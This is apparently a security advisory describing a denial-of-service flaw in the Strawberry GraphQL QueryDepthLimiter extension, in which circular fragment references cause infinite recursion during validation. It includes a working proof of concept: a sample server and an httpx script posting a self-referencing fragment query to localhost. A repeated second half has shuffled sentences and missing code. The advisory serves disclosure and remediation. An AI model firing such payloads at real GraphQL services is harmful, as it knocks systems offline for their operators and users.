Summary
The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.
Details
The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.
By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.
PoC
server code
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter
@strawberry.type
class User:
name: str = "GONA"
@strawberry.type
class Query:
@strawberry.field
def user(self) -> User:
return User()
# Enable depth limiting
schema = strawberry.Schema(
query=Query,
extensions=[QueryDepthLimiter(max_depth=10)]
)
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
exploit
import httpx
# Circular reference: A -> B -> A -> B ...
payload = {
"query": """
fragment A on User {
...B
}
fragment B on User {
...A
}
query Crash {
user {
...A
}
}
"""
}
try:
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(response.json())
except Exception as e:
print(f"Server crashed or timed out: {e}")
Impact
Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools
References
gonas0919 Reporter
Ckk3 Remediation reviewer
bellini666 Remediation reviewer
patrick91 Remediation developer
Summary
The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.
Details
The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.$\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.
By submitting a query with circular fragment references (e.g., Fragment A
PoC
server code
exploit
Impact
Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools
References